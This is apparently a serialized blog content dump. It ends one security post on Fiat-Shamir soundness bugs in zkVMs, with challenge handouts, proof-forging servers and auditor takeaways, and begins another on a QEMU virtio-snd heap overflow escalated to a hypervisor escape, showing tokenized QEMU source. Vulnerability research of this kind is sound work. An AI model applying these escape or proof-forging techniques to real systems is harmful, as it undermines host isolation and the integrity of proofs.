",{"type":24,"tag":156,"props":125615,"children":125617},{"className":125616},[7098,7099],[125618],{"type":24,"tag":930,"props":125619,"children":125621},{"className":125620},[7104],[125622],{"type":24,"tag":930,"props":125623,"children":125625},{"className":125624,"ariaHidden":7110},[7109],[125626],{"type":24,"tag":930,"props":125627,"children":125629},{"className":125628},[7115],[125630,125634,125639,125644,125648,125653,125658,125662],{"type":24,"tag":930,"props":125631,"children":125633},{"className":125632,"style":117530},[7120],[],{"type":24,"tag":930,"props":125635,"children":125637},{"className":125636},[7126,24690],[125638],{"type":30,"value":37},{"type":24,"tag":930,"props":125640,"children":125642},{"className":125641},[7238],[125643],{"type":30,"value":7241},{"type":24,"tag":930,"props":125645,"children":125647},{"className":125646,"style":7245},[7206],[],{"type":24,"tag":930,"props":125649,"children":125651},{"className":125650},[7126,24690],[125652],{"type":30,"value":6343},{"type":24,"tag":930,"props":125654,"children":125656},{"className":125655},[7238],[125657],{"type":30,"value":7241},{"type":24,"tag":930,"props":125659,"children":125661},{"className":125660,"style":7245},[7206],[],{"type":24,"tag":930,"props":125663,"children":125665},{"className":125664},[7126,24690],[125666],{"type":30,"value":6268},{"type":30,"value":112131},{"type":24,"tag":156,"props":125669,"children":125671},{"className":125670},[7098,7099],[125672],{"type":24,"tag":930,"props":125673,"children":125675},{"className":125674},[7104],[125676],{"type":24,"tag":930,"props":125677,"children":125679},{"className":125678,"ariaHidden":7110},[7109],[125680,125743,125805,125911],{"type":24,"tag":930,"props":125681,"children":125683},{"className":125682},[7115],[125684,125689,125730,125734,125739],{"type":24,"tag":930,"props":125685,"children":125688},{"className":125686,"style":125687},[7120],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":24,"tag":930,"props":125690,"children":125692},{"className":125691},[7126],[125693,125698],{"type":24,"tag":930,"props":125694,"children":125696},{"className":125695},[7126,24690],[125697],{"type":30,"value":37},{"type":24,"tag":930,"props":125699,"children":125701},{"className":125700},[7142],[125702],{"type":24,"tag":930,"props":125703,"children":125705},{"className":125704},[7147],[125706],{"type":24,"tag":930,"props":125707,"children":125709},{"className":125708},[7152],[125710],{"type":24,"tag":930,"props":125711,"children":125713},{"className":125712,"style":7121},[7157],[125714],{"type":24,"tag":930,"props":125715,"children":125716},{"style":7161},[125717,125721],{"type":24,"tag":930,"props":125718,"children":125720},{"className":125719,"style":7167},[7166],[],{"type":24,"tag":930,"props":125722,"children":125724},{"className":125723},[7172,7173,7174,7175],[125725],{"type":24,"tag":930,"props":125726,"children":125728},{"className":125727},[7126,7175],[125729],{"type":30,"value":20397},{"type":24,"tag":930,"props":125731,"children":125733},{"className":125732,"style":7207},[7206],[],{"type":24,"tag":930,"props":125735,"children":125737},{"className":125736},[7212],[125738],{"type":30,"value":1400},{"type":24,"tag":930,"props":125740,"children":125742},{"className":125741,"style":7207},[7206],[],{"type":24,"tag":930,"props":125744,"children":125746},{"className":125745},[7115],[125747,125751,125792,125796,125801],{"type":24,"tag":930,"props":125748,"children":125750},{"className":125749,"style":7121},[7120],[],{"type":24,"tag":930,"props":125752,"children":125754},{"className":125753},[7126],[125755,125760],{"type":24,"tag":930,"props":125756,"children":125758},{"className":125757},[7126,24690],[125759],{"type":30,"value":6343},{"type":24,"tag":930,"props":125761,"children":125763},{"className":125762},[7142],[125764],{"type":24,"tag":930,"props":125765,"children":125767},{"className":125766},[7147],[125768],{"type":24,"tag":930,"props":125769,"children":125771},{"className":125770},[7152],[125772],{"type":24,"tag":930,"props":125773,"children":125775},{"className":125774,"style":7121},[7157],[125776],{"type":24,"tag":930,"props":125777,"children":125778},{"style":7161},[125779,125783],{"type":24,"tag":930,"props":125780,"children":125782},{"className":125781,"style":7167},[7166],[],{"type":24,"tag":930,"props":125784,"children":125786},{"className":125785},[7172,7173,7174,7175],[125787],{"type":24,"tag":930,"props":125788,"children":125790},{"className":125789},[7126,7175],[125791],{"type":30,"value":20397},{"type":24,"tag":930,"props":125793,"children":125795},{"className":125794,"style":7304},[7206],[],{"type":24,"tag":930,"props":125797,"children":125799},{"className":125798},[7309],[125800],{"type":30,"value":1161},{"type":24,"tag":930,"props":125802,"children":125804},{"className":125803,"style":7304},[7206],[],{"type":24,"tag":930,"props":125806,"children":125808},{"className":125807},[7115],[125809,125814,125855,125860,125864,125869,125874,125878,125883,125888,125892,125897,125901,125907],{"type":24,"tag":930,"props":125810,"children":125813},{"className":125811,"style":125812},[7120],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":24,"tag":930,"props":125815,"children":125817},{"className":125816},[7126],[125818,125823],{"type":24,"tag":930,"props":125819,"children":125821},{"className":125820},[7126,24690],[125822],{"type":30,"value":6268},{"type":24,"tag":930,"props":125824,"children":125826},{"className":125825},[7142],[125827],{"type":24,"tag":930,"props":125828,"children":125830},{"className":125829},[7147],[125831],{"type":24,"tag":930,"props":125832,"children":125834},{"className":125833},[7152],[125835],{"type":24,"tag":930,"props":125836,"children":125838},{"className":125837,"style":7121},[7157],[125839],{"type":24,"tag":930,"props":125840,"children":125841},{"style":7161},[125842,125846],{"type":24,"tag":930,"props":125843,"children":125845},{"className":125844,"style":7167},[7166],[],{"type":24,"tag":930,"props":125847,"children":125849},{"className":125848},[7172,7173,7174,7175],[125850],{"type":24,"tag":930,"props":125851,"children":125853},{"className":125852},[7126,7175],[125854],{"type":30,"value":20397},{"type":24,"tag":930,"props":125856,"children":125858},{"className":125857},[7238],[125859],{"type":30,"value":7241},{"type":24,"tag":930,"props":125861,"children":125863},{"className":125862,"style":7245},[7206],[],{"type":24,"tag":930,"props":125865,"children":125867},{"className":125866},[7126,24690],[125868],{"type":30,"value":37},{"type":24,"tag":930,"props":125870,"children":125872},{"className":125871},[7238],[125873],{"type":30,"value":7241},{"type":24,"tag":930,"props":125875,"children":125877},{"className":125876,"style":7245},[7206],[],{"type":24,"tag":930,"props":125879,"children":125881},{"className":125880},[7126,24690],[125882],{"type":30,"value":6343},{"type":24,"tag":930,"props":125884,"children":125886},{"className":125885},[7238],[125887],{"type":30,"value":7241},{"type":24,"tag":930,"props":125889,"children":125891},{"className":125890,"style":7245},[7206],[],{"type":24,"tag":930,"props":125893,"children":125895},{"className":125894},[7126,24690],[125896],{"type":30,"value":6268},{"type":24,"tag":930,"props":125898,"children":125900},{"className":125899,"style":7304},[7206],[],{"type":24,"tag":930,"props":125902,"children":125904},{"className":125903},[7309],[125905],{"type":30,"value":125906},"≥",{"type":24,"tag":930,"props":125908,"children":125910},{"className":125909,"style":7304},[7206],[],{"type":24,"tag":930,"props":125912,"children":125914},{"className":125913},[7115],[125915,125919],{"type":24,"tag":930,"props":125916,"children":125918},{"className":125917,"style":97143},[7120],[],{"type":24,"tag":930,"props":125920,"children":125922},{"className":125921},[7126],[125923],{"type":30,"value":7129},{"type":30,"value":125925},". Good luck!",{"type":24,"tag":151,"props":125927,"children":125929},{"id":125928},"jolt",[125930],{"type":30,"value":110288},{"type":24,"tag":33,"props":125932,"children":125933},{},[125934,125936,125947,125949],{"type":30,"value":125935},"See ",{"type":24,"tag":37,"props":125937,"children":125944},{"href":125938,"target":125939,"rel":125940,"download":125943},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[125941,125942],"noopener","noreferrer","handout_jolt.tar.gz",[125945],{"type":30,"value":125946},"the handout",{"type":30,"value":125948}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":24,"tag":156,"props":125950,"children":125952},{"className":125951},[],[125953],{"type":30,"value":125954},"jolt.chal.osec.io:8960",{"type":24,"tag":151,"props":125956,"children":125958},{"id":125957},"nexus-1",[125959],{"type":30,"value":110294},{"type":24,"tag":33,"props":125961,"children":125962},{},[125963,125964,125971,125972],{"type":30,"value":125935},{"type":24,"tag":37,"props":125965,"children":125969},{"href":125966,"target":125939,"rel":125967,"download":125968},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[125941,125942],"handout_nexus.tar.gz",[125970],{"type":30,"value":125946},{"type":30,"value":125948},{"type":24,"tag":156,"props":125973,"children":125975},{"className":125974},[],[125976],{"type":30,"value":125977},"nexus.chal.osec.io:8950",{"type":24,"tag":33,"props":125979,"children":125980},{},[125981],{"type":30,"value":125982},"Now you should have enough margin to prove Fermat wrong.",{"type":24,"tag":21895,"props":125984,"children":125985},{},[],{"type":24,"tag":68,"props":125987,"children":125989},{"id":125988},"takeaways",[125990],{"type":30,"value":125991},"Takeaways",{"type":24,"tag":33,"props":125993,"children":125994},{},[125995],{"type":30,"value":125996},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":24,"tag":33,"props":125998,"children":125999},{},[126000],{"type":30,"value":126001},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":24,"tag":33,"props":126003,"children":126004},{},[126005,126010],{"type":24,"tag":275,"props":126006,"children":126007},{},[126008],{"type":30,"value":126009},"For the ZK ecosystem:",{"type":30,"value":126011}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":24,"tag":33,"props":126013,"children":126014},{},[126015],{"type":30,"value":126016},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":24,"tag":33,"props":126018,"children":126019},{},[126020,126025],{"type":24,"tag":275,"props":126021,"children":126022},{},[126023],{"type":30,"value":126024},"For auditors:",{"type":30,"value":126026}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":24,"tag":33,"props":126028,"children":126029},{},[126030,126035],{"type":24,"tag":275,"props":126031,"children":126032},{},[126033],{"type":30,"value":126034},"For builders:",{"type":30,"value":126036}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":24,"tag":5957,"props":126038,"children":126039},{},[126040],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":126042},[126043,126044,126047,126053,126054,126062,126068,126071,126072,126076],{"id":110339,"depth":984,"text":110342},{"id":110481,"depth":984,"text":110484,"children":126045},[126046],{"id":110487,"depth":993,"text":110490},{"id":110916,"depth":984,"text":110919,"children":126048},[126049,126050,126051,126052],{"id":110927,"depth":993,"text":110930},{"id":111115,"depth":993,"text":111118},{"id":114496,"depth":993,"text":114499},{"id":115710,"depth":993,"text":115713},{"id":117347,"depth":984,"text":117350},{"id":117853,"depth":984,"text":117856,"children":126055},[126056,126057,126058,126059,126060,126061],{"id":117875,"depth":993,"text":117878},{"id":119200,"depth":993,"text":110294},{"id":120336,"depth":993,"text":120339},{"id":121004,"depth":993,"text":121007},{"id":123660,"depth":993,"text":123663},{"id":124214,"depth":993,"text":110318},{"id":125143,"depth":984,"text":125146,"children":126063},[126064,126065,126066,126067],{"id":125154,"depth":993,"text":125157},{"id":125324,"depth":993,"text":125327},{"id":125348,"depth":993,"text":125351},{"id":125364,"depth":993,"text":125367},{"id":125378,"depth":984,"text":125381,"children":126069},[126070],{"id":125384,"depth":993,"text":125387},{"id":125418,"depth":984,"text":125421},{"id":125595,"depth":984,"text":110331,"children":126073},[126074,126075],{"id":125928,"depth":993,"text":110288},{"id":125957,"depth":993,"text":110294},{"id":125988,"depth":984,"text":125991},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":126081,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":126082,"description":126083,"date":126084,"author":126085,"image":126086,"isFeatured":16,"onBlogPage":16,"tags":126088,"body":126091,"_type":5983,"_id":134377,"_source":5985,"_file":134378,"_stem":134379,"_extension":5988},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":126087,"width":14,"height":15},"/posts/virtio-snd-qemu-0day/title.png",[126089,126090],"qemu","heap-overflow",{"type":21,"children":126092,"toc":134359},[126093,126098,126103,126108,126114,126119,126124,126132,126138,126150,126154,126159,126167,126172,126178,126183,126196,126806,126841,126886,126920,126955,127090,127138,127144,127149,127905,127950,127986,128021,128086,128106,128556,128603,128606,128611,128676,128702,128724,128728,128733,128738,128744,128749,128754,128759,128765,128778,128784,128789,128797,128867,128872,128878,128891,129117,129180,129199,129582,129587,129620,129625,129901,129913,129931,130210,130222,130225,130260,130265,130271,130283,130295,130300,130305,130315,130350,130967,130999,131010,131046,131059,131065,131077,131085,131111,131116,131149,131190,131196,131215,131253,131261,131310,131315,131364,131369,131377,131464,131470,131509,131521,131529,131547,131566,131574,131586,131594,131613,131621,131632,131640,131651,131659,131672,131680,131686,131691,131704,131712,131730,131738,131750,131755,131763,131799,131832,131839,131873,131881,131886,131892,131904,131915,132194,132254,132322,132330,132364,132968,132979,132987,132993,132998,133009,133763,133796,133808,133894,133914,134123,134170,134182,134188,134207,134233,134261,134277,134304,134307,134327,134341,134345,134350,134355],{"type":24,"tag":33,"props":126094,"children":126095},{},[126096],{"type":30,"value":126097},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":24,"tag":68,"props":126099,"children":126100},{"id":126089},[126101],{"type":30,"value":126102},"QEMU",{"type":24,"tag":33,"props":126104,"children":126105},{},[126106],{"type":30,"value":126107},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":24,"tag":151,"props":126109,"children":126111},{"id":126110},"virtio-devices",[126112],{"type":30,"value":126113},"Virtio Devices",{"type":24,"tag":33,"props":126115,"children":126116},{},[126117],{"type":30,"value":126118},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":24,"tag":33,"props":126120,"children":126121},{},[126122],{"type":30,"value":126123},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":24,"tag":33,"props":126125,"children":126126},{},[126127],{"type":24,"tag":140,"props":126128,"children":126131},{"alt":126129,"src":126130},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":24,"tag":68,"props":126133,"children":126135},{"id":126134},"finding-a-bug",[126136],{"type":30,"value":126137},"Finding a Bug",{"type":24,"tag":33,"props":126139,"children":126140},{},[126141,126143,126149],{"type":30,"value":126142},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":24,"tag":156,"props":126144,"children":126146},{"className":126145},[],[126147],{"type":30,"value":126148},"virtio-snd",{"type":30,"value":436},{"type":24,"tag":151,"props":126151,"children":126152},{"id":126148},[126153],{"type":30,"value":126148},{"type":24,"tag":33,"props":126155,"children":126156},{},[126157],{"type":30,"value":126158},"From the official documentation:",{"type":24,"tag":6054,"props":126160,"children":126161},{},[126162],{"type":24,"tag":33,"props":126163,"children":126164},{},[126165],{"type":30,"value":126166},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":24,"tag":33,"props":126168,"children":126169},{},[126170],{"type":30,"value":126171},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":24,"tag":21995,"props":126173,"children":126175},{"id":126174},"audio-data-buffers",[126176],{"type":30,"value":126177},"Audio Data Buffers",{"type":24,"tag":33,"props":126179,"children":126180},{},[126181],{"type":30,"value":126182},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":24,"tag":33,"props":126184,"children":126185},{},[126186,126188,126194],{"type":30,"value":126187},"For example, the following is ",{"type":24,"tag":156,"props":126189,"children":126191},{"className":126190},[],[126192],{"type":30,"value":126193},"virtio_snd_handle_rx_xfer",{"type":30,"value":126195},", which is responsible for allocating buffers for an input audio stream:",{"type":24,"tag":920,"props":126197,"children":126199},{"code":126198,"language":6268,"meta":7,"className":19616,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[126200],{"type":24,"tag":156,"props":126201,"children":126202},{"__ignoreMap":7},[126203,126210,126218,126226,126233,126241,126249,126257,126305,126312,126329,126336,126343,126355,126372,126379,126415,126435,126446,126453,126460,126468,126475,126508,126567,126585,126624,126649,126673,126701,126728,126766,126773,126785,126792,126799],{"type":24,"tag":930,"props":126204,"children":126205},{"class":932,"line":933},[126206],{"type":24,"tag":930,"props":126207,"children":126208},{"style":1422},[126209],{"type":30,"value":52455},{"type":24,"tag":930,"props":126211,"children":126212},{"class":932,"line":984},[126213],{"type":24,"tag":930,"props":126214,"children":126215},{"style":1422},[126216],{"type":30,"value":126217}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":24,"tag":930,"props":126219,"children":126220},{"class":932,"line":993},[126221],{"type":24,"tag":930,"props":126222,"children":126223},{"style":1422},[126224],{"type":30,"value":126225}," * respective streams for consumption.\n",{"type":24,"tag":930,"props":126227,"children":126228},{"class":932,"line":1057},[126229],{"type":24,"tag":930,"props":126230,"children":126231},{"style":1422},[126232],{"type":30,"value":22591},{"type":24,"tag":930,"props":126234,"children":126235},{"class":932,"line":1066},[126236],{"type":24,"tag":930,"props":126237,"children":126238},{"style":1422},[126239],{"type":30,"value":126240}," * @vdev: VirtIOSound device\n",{"type":24,"tag":930,"props":126242,"children":126243},{"class":932,"line":1075},[126244],{"type":24,"tag":930,"props":126245,"children":126246},{"style":1422},[126247],{"type":30,"value":126248}," * @vq: rx virtqueue\n",{"type":24,"tag":930,"props":126250,"children":126251},{"class":932,"line":1122},[126252],{"type":24,"tag":930,"props":126253,"children":126254},{"style":1422},[126255],{"type":30,"value":126256}," */\n",{"type":24,"tag":930,"props":126258,"children":126259},{"class":932,"line":1131},[126260,126264,126268,126273,126278,126282,126287,126292,126296,126301],{"type":24,"tag":930,"props":126261,"children":126262},{"style":937},[126263],{"type":30,"value":54133},{"type":24,"tag":930,"props":126265,"children":126266},{"style":937},[126267],{"type":30,"value":54138},{"type":24,"tag":930,"props":126269,"children":126270},{"style":1002},[126271],{"type":30,"value":126272}," virtio_snd_handle_rx_xfer",{"type":24,"tag":930,"props":126274,"children":126275},{"style":959},[126276],{"type":30,"value":126277},"(VirtIODevice ",{"type":24,"tag":930,"props":126279,"children":126280},{"style":1158},[126281],{"type":30,"value":1410},{"type":24,"tag":930,"props":126283,"children":126284},{"style":1023},[126285],{"type":30,"value":126286},"vdev",{"type":24,"tag":930,"props":126288,"children":126289},{"style":959},[126290],{"type":30,"value":126291},", VirtQueue ",{"type":24,"tag":930,"props":126293,"children":126294},{"style":1158},[126295],{"type":30,"value":1410},{"type":24,"tag":930,"props":126297,"children":126298},{"style":1023},[126299],{"type":30,"value":126300},"vq",{"type":24,"tag":930,"props":126302,"children":126303},{"style":959},[126304],{"type":30,"value":1054},{"type":24,"tag":930,"props":126306,"children":126307},{"class":932,"line":1144},[126308],{"type":24,"tag":930,"props":126309,"children":126310},{"style":959},[126311],{"type":30,"value":13987},{"type":24,"tag":930,"props":126313,"children":126314},{"class":932,"line":1169},[126315,126320,126324],{"type":24,"tag":930,"props":126316,"children":126317},{"style":959},[126318],{"type":30,"value":126319},"    VirtQueueElement ",{"type":24,"tag":930,"props":126321,"children":126322},{"style":1158},[126323],{"type":30,"value":1410},{"type":24,"tag":930,"props":126325,"children":126326},{"style":959},[126327],{"type":30,"value":126328},"elem;\n",{"type":24,"tag":930,"props":126330,"children":126331},{"class":932,"line":1191},[126332],{"type":24,"tag":930,"props":126333,"children":126334},{"style":959},[126335],{"type":30,"value":2923},{"type":24,"tag":930,"props":126337,"children":126338},{"class":932,"line":1223},[126339],{"type":24,"tag":930,"props":126340,"children":126341},{"emptyLinePlaceholder":16},[126342],{"type":30,"value":2412},{"type":24,"tag":930,"props":126344,"children":126345},{"class":932,"line":1281},[126346,126350],{"type":24,"tag":930,"props":126347,"children":126348},{"style":1079},[126349],{"type":30,"value":6154},{"type":24,"tag":930,"props":126351,"children":126352},{"style":959},[126353],{"type":30,"value":126354}," (;;) {\n",{"type":24,"tag":930,"props":126356,"children":126357},{"class":932,"line":1313},[126358,126363,126367],{"type":24,"tag":930,"props":126359,"children":126360},{"style":959},[126361],{"type":30,"value":126362},"        VirtIOSoundPCMStream ",{"type":24,"tag":930,"props":126364,"children":126365},{"style":1158},[126366],{"type":30,"value":1410},{"type":24,"tag":930,"props":126368,"children":126369},{"style":959},[126370],{"type":30,"value":126371},"stream;\n",{"type":24,"tag":930,"props":126373,"children":126374},{"class":932,"line":1335},[126375],{"type":24,"tag":930,"props":126376,"children":126377},{"emptyLinePlaceholder":16},[126378],{"type":30,"value":2412},{"type":24,"tag":930,"props":126380,"children":126381},{"class":932,"line":1376},[126382,126387,126391,126396,126401,126405,126410],{"type":24,"tag":930,"props":126383,"children":126384},{"style":959},[126385],{"type":30,"value":126386},"        elem ",{"type":24,"tag":930,"props":126388,"children":126389},{"style":1158},[126390],{"type":30,"value":1161},{"type":24,"tag":930,"props":126392,"children":126393},{"style":1002},[126394],{"type":30,"value":126395}," virtqueue_pop",{"type":24,"tag":930,"props":126397,"children":126398},{"style":959},[126399],{"type":30,"value":126400},"(vq, ",{"type":24,"tag":930,"props":126402,"children":126403},{"style":937},[126404],{"type":30,"value":58417},{"type":24,"tag":930,"props":126406,"children":126407},{"style":959},[126408],{"type":30,"value":126409},"(VirtQueueElement));",{"type":24,"tag":930,"props":126411,"children":126412},{"style":1422},[126413],{"type":30,"value":126414},"     // [1]\n",{"type":24,"tag":930,"props":126416,"children":126417},{"class":932,"line":1418},[126418,126422,126426,126430],{"type":24,"tag":930,"props":126419,"children":126420},{"style":1079},[126421],{"type":30,"value":3290},{"type":24,"tag":930,"props":126423,"children":126424},{"style":959},[126425],{"type":30,"value":1087},{"type":24,"tag":930,"props":126427,"children":126428},{"style":1158},[126429],{"type":30,"value":3299},{"type":24,"tag":930,"props":126431,"children":126432},{"style":959},[126433],{"type":30,"value":126434},"elem) {\n",{"type":24,"tag":930,"props":126436,"children":126437},{"class":932,"line":1438},[126438,126442],{"type":24,"tag":930,"props":126439,"children":126440},{"style":1079},[126441],{"type":30,"value":6418},{"type":24,"tag":930,"props":126443,"children":126444},{"style":959},[126445],{"type":30,"value":5539},{"type":24,"tag":930,"props":126447,"children":126448},{"class":932,"line":1479},[126449],{"type":24,"tag":930,"props":126450,"children":126451},{"style":959},[126452],{"type":30,"value":1831},{"type":24,"tag":930,"props":126454,"children":126455},{"class":932,"line":1506},[126456],{"type":24,"tag":930,"props":126457,"children":126458},{"emptyLinePlaceholder":16},[126459],{"type":30,"value":2412},{"type":24,"tag":930,"props":126461,"children":126462},{"class":932,"line":1525},[126463],{"type":24,"tag":930,"props":126464,"children":126465},{"style":959},[126466],{"type":30,"value":126467},"        [...]\n",{"type":24,"tag":930,"props":126469,"children":126470},{"class":932,"line":1569},[126471],{"type":24,"tag":930,"props":126472,"children":126473},{"emptyLinePlaceholder":16},[126474],{"type":30,"value":2412},{"type":24,"tag":930,"props":126476,"children":126477},{"class":932,"line":1592},[126478,126483,126487,126491,126495,126499,126504],{"type":24,"tag":930,"props":126479,"children":126480},{"style":1002},[126481],{"type":30,"value":126482},"        WITH_QEMU_LOCK_GUARD",{"type":24,"tag":930,"props":126484,"children":126485},{"style":959},[126486],{"type":30,"value":1010},{"type":24,"tag":930,"props":126488,"children":126489},{"style":1158},[126490],{"type":30,"value":6230},{"type":24,"tag":930,"props":126492,"children":126493},{"style":1023},[126494],{"type":30,"value":39349},{"type":24,"tag":930,"props":126496,"children":126497},{"style":959},[126498],{"type":30,"value":16864},{"type":24,"tag":930,"props":126500,"children":126501},{"style":1023},[126502],{"type":30,"value":126503},"queue_mutex",{"type":24,"tag":930,"props":126505,"children":126506},{"style":959},[126507],{"type":30,"value":1503},{"type":24,"tag":930,"props":126509,"children":126510},{"class":932,"line":1610},[126511,126516,126520,126525,126529,126533,126537,126542,126546,126550,126554,126559,126563],{"type":24,"tag":930,"props":126512,"children":126513},{"style":959},[126514],{"type":30,"value":126515},"            size ",{"type":24,"tag":930,"props":126517,"children":126518},{"style":1158},[126519],{"type":30,"value":1161},{"type":24,"tag":930,"props":126521,"children":126522},{"style":1002},[126523],{"type":30,"value":126524}," iov_size",{"type":24,"tag":930,"props":126526,"children":126527},{"style":959},[126528],{"type":30,"value":1010},{"type":24,"tag":930,"props":126530,"children":126531},{"style":1023},[126532],{"type":30,"value":55153},{"type":24,"tag":930,"props":126534,"children":126535},{"style":959},[126536],{"type":30,"value":16864},{"type":24,"tag":930,"props":126538,"children":126539},{"style":1023},[126540],{"type":30,"value":126541},"in_sg",{"type":24,"tag":930,"props":126543,"children":126544},{"style":959},[126545],{"type":30,"value":962},{"type":24,"tag":930,"props":126547,"children":126548},{"style":1023},[126549],{"type":30,"value":55153},{"type":24,"tag":930,"props":126551,"children":126552},{"style":959},[126553],{"type":30,"value":16864},{"type":24,"tag":930,"props":126555,"children":126556},{"style":1023},[126557],{"type":30,"value":126558},"in_num",{"type":24,"tag":930,"props":126560,"children":126561},{"style":959},[126562],{"type":30,"value":5579},{"type":24,"tag":930,"props":126564,"children":126565},{"style":1158},[126566],{"type":30,"value":53950},{"type":24,"tag":930,"props":126568,"children":126569},{"class":932,"line":1628},[126570,126575,126580],{"type":24,"tag":930,"props":126571,"children":126572},{"style":937},[126573],{"type":30,"value":126574},"                sizeof",{"type":24,"tag":930,"props":126576,"children":126577},{"style":959},[126578],{"type":30,"value":126579},"(virtio_snd_pcm_status);",{"type":24,"tag":930,"props":126581,"children":126582},{"style":1422},[126583],{"type":30,"value":126584},"                  // [2]\n",{"type":24,"tag":930,"props":126586,"children":126587},{"class":932,"line":1637},[126588,126593,126597,126602,126606,126610,126615,126619],{"type":24,"tag":930,"props":126589,"children":126590},{"style":959},[126591],{"type":30,"value":126592},"            buffer ",{"type":24,"tag":930,"props":126594,"children":126595},{"style":1158},[126596],{"type":30,"value":1161},{"type":24,"tag":930,"props":126598,"children":126599},{"style":1002},[126600],{"type":30,"value":126601}," g_malloc0",{"type":24,"tag":930,"props":126603,"children":126604},{"style":959},[126605],{"type":30,"value":1010},{"type":24,"tag":930,"props":126607,"children":126608},{"style":937},[126609],{"type":30,"value":58417},{"type":24,"tag":930,"props":126611,"children":126612},{"style":959},[126613],{"type":30,"value":126614},"(VirtIOSoundPCMBuffer) ",{"type":24,"tag":930,"props":126616,"children":126617},{"style":1158},[126618],{"type":30,"value":1400},{"type":24,"tag":930,"props":126620,"children":126621},{"style":959},[126622],{"type":30,"value":126623}," size);\n",{"type":24,"tag":930,"props":126625,"children":126626},{"class":932,"line":1646},[126627,126632,126636,126640,126644],{"type":24,"tag":930,"props":126628,"children":126629},{"style":1023},[126630],{"type":30,"value":126631},"            buffer",{"type":24,"tag":930,"props":126633,"children":126634},{"style":959},[126635],{"type":30,"value":16864},{"type":24,"tag":930,"props":126637,"children":126638},{"style":1023},[126639],{"type":30,"value":55153},{"type":24,"tag":930,"props":126641,"children":126642},{"style":1158},[126643],{"type":30,"value":6137},{"type":24,"tag":930,"props":126645,"children":126646},{"style":959},[126647],{"type":30,"value":126648}," elem;\n",{"type":24,"tag":930,"props":126650,"children":126651},{"class":932,"line":1673},[126652,126656,126660,126664,126668],{"type":24,"tag":930,"props":126653,"children":126654},{"style":1023},[126655],{"type":30,"value":126631},{"type":24,"tag":930,"props":126657,"children":126658},{"style":959},[126659],{"type":30,"value":16864},{"type":24,"tag":930,"props":126661,"children":126662},{"style":1023},[126663],{"type":30,"value":126300},{"type":24,"tag":930,"props":126665,"children":126666},{"style":1158},[126667],{"type":30,"value":6137},{"type":24,"tag":930,"props":126669,"children":126670},{"style":959},[126671],{"type":30,"value":126672}," 